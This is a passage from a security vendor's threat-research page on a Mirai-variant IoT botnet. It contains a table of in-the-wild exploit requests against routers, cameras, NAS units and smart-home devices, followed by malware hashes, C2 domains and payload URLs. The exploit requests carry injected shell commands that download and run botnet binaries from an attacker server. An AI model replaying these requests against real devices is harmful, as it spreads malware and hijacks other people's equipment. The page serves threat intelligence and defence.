Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8 Referer: http://www.target.com/Main\_Analysis\_Content.asp Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 | | [Belkin WeMo Remote Code Execution](https://www.exploit-db.com/exploits/46436) || Belkin WeMo Devices || POST /upnp/control/basicevent1 HTTP/1.1 Host: 20.36.21.25:49152 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: \*/\* User-Agent: python-requests/2.18.4 SOAPAction: urn:Belkin:service:basicevent:1#SetSmartDevInfo Content-Length: 393 \ \ \\ \\\x60wget http://31.13.195\[.\]251/ECHOBOT.x -O /tmp/ECHOBOT; chmod 777 /tmp/ECHOBOT; /tmp/ECHOBOT belkin\\x60\ \ \ \ | | [MiCasa VeraLite Remote Code Execution](https://www.exploit-db.com/exploits/40589) || MiCasa VeraLite Smart Home Controllers || POST /upnp/control/hag HTTP/1.1" Host: %s:49451 Accept: text/javascript, text/html, application/xml, text/xml, \*/\* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest X-Prototype-Version: 1.7 Content-Type: text/xml;charset=UTF-8 MIME-Version: 1.0 Content-Length: 311 Connection: keep-alive Pragma: no-cache SOAPAction: urn:schemas-micasaverde-org:service:HomeAutomatio nGateway:1#RunLua \\ \ \\ \os.execute(\\x60wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*\\x60)\ \\\ | | [Netgear ReadyNas Remote Code Execution](https://www.exploit-db.com/exploits/42956) || Netgear ReadyNas / [NUUO NVRs](https://www.exploit-db.com/exploits/45070) || POST /upgrade\_handle.php?cmd=writeuploaddir\&uploaddir=%27; wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*%205;%27 HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello-World Connection: keep-alive GET /upgrade\_handle.php?cmd=writeuploaddir\&uploaddir=%27; wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*;%27 HTTP/1.1 Host: 192.168.0.1:50000 Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=7b74657ab949a442c9e440ccf050de1e; lang=en | | [GoAhead Remote Code Execution](https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt) || IP cameras manufactured by GoAhead, Aldi, and several others || GET /set\_ftp.cgi?next\_url=ftp.htm\&loginuse=%s\&loginpas=%s\&svr=192 .168.1.1\&port=21\&user=ftp\&pwd=$(wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*)\&dir=/\&mode=PORT\&upload\_interval=0 | | [CVE-2014-8361](https://packetstormsecurity.com/files/132090/Realtek-SDK-Miniigd-UPnP-SOAP-Command-Execution.html) || Devices using the Realtek SDK with miniigd daemon || POST /wanipcn.xml HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping' Accept: / User-Agent: Hello-World Connection: keep-alive \\\\\47450\\TCP\\44382\\\\x60cd /tmp; wget http://31.13.195\[.\]251/ECHOBOT.mips; chmod 777 ECHOBOT.mips; ./ECHOBOT.mips realtek\\x60\\1\\syncthing\\0\\\\ | *Table 3. Previously seen exploits used in the Mirai variant* **Indicators of Compromise** **26-May-2019 10:05 Samples** 13d3b4545b18f41cf89ad9d278434b3fb60a702edebdde605ced745db47ce58d 22e33a16b03c2ca6b1e98b9c6fe1f1cc18d84eef4bb79247642ccf37960aaad8 25e959a071e631088816ed87991482b8776a81377f0fa7a8f53eca9a7af3afe1 2ad284d6297420e9cdb3a2bd9f0824c3122c861f37b58ea17675e0f5799f029e 36b1391b84f48a0f3b20b3831250b681dfa4a5aeb7a26816da723a06991d5029 73fe0ed1e85d547d19acd720b1d67fb94059a007a35f685b3bd16627879d4c47 7d9af41abec8cc93a9185dfdb256b864fa5c9e67e16192f718d7faa0e18177e8 95c7516abf8c738423cd18f0c905baa65d38ba5259b6853777550505019ba8cd b73add38713b70ca529c8387275fca0bbf5f5488f2be5ebc17c4f1f34b06bd26 ed4d920cd54b87167d0ad2256bf996c8fdac3ac3bd5dd5ccb0b6c2d551226184 f02e2443c250e78877f9b184ab94693f4e8dba8c2191c9d03857664e71987976 f9ee7e0a4deac908e6fbacf7baa4f1d3bb138ebe2a3f9236a61f5d764181df0a **21-May-2019 16:34 Samples** 228ca519054dd62aadfa360fcf8f74e3072a4f6ffde521e47db233a604320a16 2f21e8ed1dce77c2cd0080c529043cff1c1ff5f22ba39dcd1a2220e17f273ba5 3c26c9db539b3c1b556b86dff3c5b0e819dbdce52234dda7025979d05ff9d188 65b03b40eafc60d0fa3b13c51dc1cfbc720e76d2a3b1f5f3c78de57856b8e60f 68e62724530401400724a75dd2fe07dc0db6a8373be7861d65896b33039c632f 81d63319951334eb8fb748d897a77f610d3250d795e0a134252e689f8db672c4 8f6f3834d292ef84eada500832efea3c45a0fc0261bc4be8888414bfe31803c3 9eebd384fa6d4d45648a74dfe0aad8fe2b9bc9b907e6f3b474ca77e83bbf63bb c282ad7bb6558cbdcb4e7c07db4a7f201792dd250a31718d811b78e34fd6a283 d5ea253efcc042ee0a85ffdd4673738b5859ddacabca06dc2ff11f81b7d0983f dbf70f849e09441af668245f3ba7491be227447c36e7244bbbf2787e503599a7 **21-May-2019 08:38 Samples** 2dd89d8214c76b3ce7b6a301ad8256fba5ac9f3e4c0b3e10e14c6075764f0e4d 5091da1a1fa51f77ac64f75ab9c23da88469160f040a189ec1e6a0e952a26720 563afb05bb5a68c8b235143dde081c44e06ed2674681629c60116ce1b92a7cee 61d18166f39ccdc85e51e9a6cd1a8ec7f8c1c1d227d84b9ca94ef847d0b1a79c 6cdce7758468685f8c125bff2c3c1f196fe43f30e10c7fb643a67b7d5e2ae2f2 83841e5f965cb7e03bf5f0c5da217a22b307ddd138a3b8b8ec5dc8f111f26165 8ba26e98710f3e55677a7eaea19a656e3ef7136e94f81ecb5b05cfdc96586d65 9476bfe1eb99b00c02a3a6c539d1a060b87e4c53617fa5b2949cdd44c1cbc92b b4443e1bbd27062c8eb2bfd791483a777ac003ce8d47a9ce43f2861f0ad70f94 c2440a1e19ae8f527061a666fa59eb457f3c1c8f6d5b981f9c1f5bf8a4c62f61 f64cad4ce4af8debf1951d4deca0dd86acd3a83409140cb0544ea27d155e04ab **19-May-2019 06:05 Samples** 046a077bd3ded83b9066350862d204afb04dfe04b71827de8f60929e2f7d4e44 0639e8111253133a617cd0f119c1ef70560de0f044add084c0200a1a4fd6952e 098c7f9c8c8c63d8d79387274f0fe5416702abcb650b983426e116f193b82e61 121e6d208522e1abccacd51f82f03a9178680c222eff5336b84b6f86a770a453 5070aa62866652e533701ee327d6a77ec289cca0deae8fa953d69f9d12c89c55 7ffb658d09c5c55c04ac1cef4e1e3c428c0363130381e0aef8c769ea11c64370 87195d5262c205b3356cfe815d60d41a11a8f563b4cd4abd75da73128e02f86c 9dc3e2fc27e138a588e6a25dc5432d78f0930046286fc64b9c65246beda19a45 b3e5726e56f604656a322fc6c62585e73f594d053d6891c3fa94c3fff41f30cb b44b658716cf1326ad27e58b1a45c96684f6182d2a5d8596fb8fd7e60656a241 b4a370ff3d59d43924ace6c8ef34df55b6e45b4dcff2f0f2db36bbb40e6c203e **Other Samples with unknown in-the-wild URLs** 22ff3cc031c9ae43757030a1cb1a8fc09171f370469b79770faaca3eb5dbbfef 385d26249622f65692423312846feed6eba96cea5d6e0bfbfa755307985cb8cd 621e17811228b8ea559a2f6905235fcbcc59e7c06b9c380962aca3fcac15600c 729d3b3363bd69b2cc60b9600ea91223361021f75b6f7484a49ead95a325b60c 970783c2e358b1238f8e571989caf696f6af585dccad64dd21bf1703835b80d1 be7f56a58a908125ce2066fb0691d9f9eef868509a5d53f08e8362f21542b76c cb8b4d3d24607731cdffa7015eb6299373870c53a854b4a23657f8ede53113c6 e8df1d766fc3763ffa79663920f47f158ec55605fdbf8bf5a55fcdcfe61be78d e94482b0382aa7907c41c329772085c288e55dd4b8ffd28277131d9ca9b2e9d2 **C2** akuma\[.\]pw akumaiotsolutions\[.\]pw **Malware URLs/Payload Sources** 31\.13.195\[.\]251/ECHOBOT.sh 31\.13.195\[.\]251/ECHO/ECHOBOT.arm 31\.13.195\[.\]251/ECHO/ECHOBOT.arm5 31\.13.195\[.\]251/ECHO/ECHOBOT.arm6 31\.13.195\[.\]251/ECHO/ECHOBOT.arm7 31\.13.195\[.\]251/ECHO/ECHOBOT.m68k 31\.13.195\[.\]251/ECHO/ECHOBOT.mips 31\.13.195\[.\]251/ECHO/ECHOBOT.mpsl 31\.13.195\[.\]251/ECHO/ECHOBOT.ppc 31\.13.195\[.\]251/ECHO/ECHOBOT.sh4 31\.13.195\[.\]251/ECHO/ECHOBOT.spc 31\.13.195\[.\]251/ECHO/ECHOBOT.x86 Back to top ### Tags * [CVE-2017-5174](https://unit42.paloaltonetworks.com/tag/cve-2017-5174/ "CVE-2017-5174") * [CVE-2018-11510](https://unit42.paloaltonetworks.com/tag/cve-2018-11510/ "CVE-2018-11510") * [CVE-2018-17173](https://unit42.paloaltonetworks.com/tag/cve-2018-17173/ "CVE-2018-17173") * [CVE-2018-6961](https://unit42.paloaltonetworks.com/tag/cve-2018-6961/ "CVE-2018-6961") * [CVE-2019-2725](https://unit42.paloaltonetworks.com/tag/cve-2019-2725/ "CVE-2019-2725") * [CVE-2019-3929](https://unit42.paloaltonetworks.com/tag/cve-2019-3929/ "CVE-2019-3929") * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/ "exploits") * [IoT](https://unit42.paloaltonetworks.com/tag/iot/ "IoT") * [Linux](https://unit42.paloaltonetworks.com/tag/linux/ "Linux") * [Mirai](https://unit42.paloaltonetworks.com/tag/mirai/ "Mirai") [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") [Next: Misconfigured and Exposed: Container Services](https://unit42.paloaltonetworks.com/misconfigured-and-exposed-container-services/ "Misconfigured and Exposed: Container Services") ### Related Articles * [Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "article - table of contents") * [Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/ "article - table of contents") * [A Deep Dive Into Attempted Exploitation of CVE-2023-33538](https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/ "article - table of contents") ## Related Resources ![Pictorial representation of a pay-per-install threat group campaign prodiving infection service for spreading malware. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip, symbolizing data processing and transfer. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/04_Malware_Category_1920x900-6-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 9, 2026 [#### Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/) * [ARKTunnel](https://unit42.paloaltonetworks.com/tag/arktunnel/ "ARKTunnel") * [C2](https://unit42.paloaltonetworks.com/tag/c2/ "C2") * [CL-CRI-1171](https://unit42.paloaltonetworks.com/tag/cl-cri-1171/ "CL-CRI-1171") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ppi-network-malware-campaign-analysis/ "Untracked Nightmares: The Threats Hiding Behind Commodity Infrastructure") ![Pictorial representation of attackers using AI tools to target Latin American organizations. A vibrant cityscape with silhouettes of numerous people walking along a bustling street. The scene is illuminated by bright urban lights and digital-like particles, creating a dynamic and futuristic atmosphere.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/09/AdobeStock_768915868-2-1-786x373.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) September 3, 2026 [#### Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/) * [Agentic AI](https://unit42.paloaltonetworks.com/tag/agentic-ai/ "Agentic AI") * [ChatGPT](https://unit42.paloaltonetworks.com/tag/chatgpt/ "ChatGPT") * [CL-CRI-1131](https://unit42.paloaltonetworks.com/tag/cl-cri-1131/ "CL-CRI-1131") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-tool-use-targeting-latam-orgs/ "Attackers Expose Ongoing AI Tool Use Targeting Organizations in Latin America") ![Pictorial representation of vishing campaigns in Microsoft Teams. A digital image of a skull formed by blue binary code on a black background, with scattered ones and zeros and digital noise, symbolizes how stealthy prompt injection attacks can exploit AI logic to bypass security controls.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/01_Malware_Category_1920x900-5-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 31, 2026 [#### Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/) * [Cloaked Ursa](https://unit42.paloaltonetworks.com/tag/cloaked-ursa/ "Cloaked Ursa") * [Entra ID](https://unit42.paloaltonetworks.com/tag/entra-id/ "Entra ID") * [Microsoft Teams](https://unit42.paloaltonetworks.com/tag/microsoft-teams/ "Microsoft Teams") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/spring-ring-voice-phishing-campaigns/ "Spring Ring: An Inside Look at Voice Phishing Campaigns in Microsoft Teams") ![Pictorial representation of AI-enabled malware. A vibrant digital interface displaying various icons and graphs, resembling a futuristic network or data analysis dashboard. The scene is illuminated with glowing lights and patterns.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1270203474-2-1-786x368.png) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 25, 2026 [#### The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/) * [Backdoor](https://unit42.paloaltonetworks.com/tag/backdoor/ "backdoor") * [Bitcoin](https://unit42.paloaltonetworks.com/tag/bitcoin/ "Bitcoin") * [DLL hijacking](https://unit42.paloaltonetworks.com/tag/dll-hijacking/ "DLL hijacking") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-enabled-malware-analysis/ "The State of AI-Enabled Malware August 2026: From Brand Abuse to Agentic Execution") ![Pictorial representation of identity abuse through trusted communication channels. Close-up view of a digital screen displaying a glitched and pixelated image of a skull-like shape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/02_Malware_Category_1920x900-2-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 20, 2026 [#### Identity Abuse Through Trusted Communication Channels](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/) * [Authentication](https://unit42.paloaltonetworks.com/tag/authentication/ "authentication") * [Identity theft](https://unit42.paloaltonetworks.com/tag/identity-theft/ "identity theft") * [Malware](https://unit42.paloaltonetworks.com/tag/malware/ "malware") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/communication-channel-identity-risks/ "Identity Abuse Through Trusted Communication Channels") ![Pictorial representation of Kimwolf botnet malware family. Digital screen with a warning sign reading "Malware." The background features lines of computer code and graphics, creating a sense of cybersecurity threat.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/07_Malware_Category_1920x900-3-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 11, 2026 [#### Kimwolf v7: An Evolution of the Kimwolf Botnet](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/) * [Android APK](https://unit42.paloaltonetworks.com/tag/android-apk/ "Android APK") * [Ethereum](https://unit42.paloaltonetworks.com/tag/ethereum/ "Ethereum") * [HTTP](https://unit42.paloaltonetworks.com/tag/http/ "HTTP") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/kimwolf-v7-botnet-malware/ "Kimwolf v7: An Evolution of the Kimwolf Botnet") ![Pictorial representatiom pf Aeternum's blockchain C2. A close-up of a computer circuit board with a central microchip is depicted. Red digital data streams in the form of glowing binary numbers and arrows appear to flow in and out of the chip. The scene is illuminated with a futuristic blue and red glow.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/04_Malware_Category_1920x900-4-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 10, 2026 [#### The Permanent Threat: Analyzing Aeternum's Blockchain-Based C2 Operations and Communications](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/) * [Aeternum](https://unit42.paloaltonetworks.com/tag/aeternum/ "Aeternum") * [Infection chain](https://unit42.paloaltonetworks.com/tag/infection-chain/ "infection chain") * [JSON](https://unit42.paloaltonetworks.com/tag/json/ "JSON") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/aeternum-blockchain-c2-analysis/ "The Permanent Threat: Analyzing Aeternum’s Blockchain-Based C2 Operations and Communications") ![Pictorial representation of ChainDrop, a self-propagating npm worm. An artistic depiction of a digital workspace featuring an open laptop with a red virus on the screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/03_Malware_Category_1920x900-7-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) August 6, 2026 [#### ChainDrop: Inside a Self-Propagating npm Worm](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/) * [Blockchain](https://unit42.paloaltonetworks.com/tag/blockchain/ "blockchain") * [ChainDrop](https://unit42.paloaltonetworks.com/tag/chaindrop/ "ChainDrop") * [Claude code](https://unit42.paloaltonetworks.com/tag/claude-code/ "Claude code") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/chaindrop-npm-worm-analysis/ "ChainDrop: Inside a Self-Propagating npm Worm") ![Pictorial representation of Token-jacking. A person types on a laptop with multiple digital interface elements projected, including an "AI" icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/08/AdobeStock_1246251272-2-786x369.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) August 6, 2026 [#### Token Jacking: Cybercriminals Could Be Stealing Your AI Resources](https://unit42.paloaltonetworks.com/ai-token-jacking/) * [AI API](https://unit42.paloaltonetworks.com/tag/ai-api/ "AI API") * [AI gateway](https://unit42.paloaltonetworks.com/tag/ai-gateway/ "AI gateway") * [API keys](https://unit42.paloaltonetworks.com/tag/api-keys/ "API keys") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ai-token-jacking/ "Token Jacking: Cybercriminals Could Be Stealing Your AI Resources") ![Pictorial representation of a group of people interacting with a dynamic 3D holographic display of colorful, undulating data waves on a table.](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/09/11_Myth-Busting_Overview_1920x900-786x368.jpg) [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2025/08/Insights-icon-white.svg)Insights](https://unit42.paloaltonetworks.com/category/insights/) August 4, 2026 [#### The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/) * [AI](https://unit42.paloaltonetworks.com/tag/ai/ "AI") * [Frontier AI](https://unit42.paloaltonetworks.com/tag/frontier-ai/ "Frontier AI") * [Vulnerability Exploitation](https://unit42.paloaltonetworks.com/tag/vulnerability-exploitation/ "Vulnerability Exploitation") [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/frontier-ai-vulnerability-burst/ "The Frontier AI Vulnerability Burst: Industrializing Autonomous Zero-Day Discovery in Open-Source Software") * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) * ![Slider arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/slider-arrow-left.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ![Enlarged Image]() ![Newsletter](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/03/unit42-footer-subscribe-desktop.png) ![UNIT 42 Small Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/palo-alto-logo-small.svg) Get updates from Unit 42 ## Peace of mind comes from staying ahead of threats. Subscribe today. Your Email Subscribe for email updates to all Unit 42 threat research. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use "Terms of Use") and acknowledge our [Privacy Statement.](https://www.paloaltonetworks.com/legal-notices/privacy "Privacy Statement") This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. Invalid captcha! Subscribe ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) ![loader](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-loader.svg) {#footer} Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security) * [Secure AI by Design](https://www.paloaltonetworks.com/ai-security) * [Prisma AIRS](https://www.paloaltonetworks.com/ai-security/prisma-airs) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/ot-security-solution) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase) * [Prisma SASE](https://www.paloaltonetworks.com/sase) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention) * [Prisma Access](https://www.paloaltonetworks.com/sase/access) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam) * [Next-Generation Identity Security](https://www.paloaltonetworks.com/idira) * [Privileged Access Management](https://www.paloaltonetworks.com/idira/human/privileged-access-management) * [Identity and Access Management](https://www.paloaltonetworks.com/idira/human/identity-and-access-management) * [Endpoint Privilege Manager](https://www.paloaltonetworks.com/idira/human/endpoint-privilege-manager) * [Identity Governance](https://www.paloaltonetworks.com/idira/human/identity-governance) * [Workforce Password Management](https://www.paloaltonetworks.com/idira/human/workforce-password-management) * [Agentic Identities](https://www.paloaltonetworks.com/idira/agentic) * [Secrets Management](https://www.paloaltonetworks.com/idira/machine/secrets-management) * [Unified Secrets Governance](https://www.paloaltonetworks.com/idira/machine/unified-secrets-governance) * [Application Credentials Delivery](https://www.paloaltonetworks.com/idira/machine/application-credentials-delivery) * [Vendor Privileged Access](https://www.paloaltonetworks.com/idira/human/vendor-privileged-access) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42) * [Proactive Assessments](https://www.paloaltonetworks.com/unit42/assess) * [Incident Response](https://www.paloaltonetworks.com/unit42/respond) * [Transform Your Security 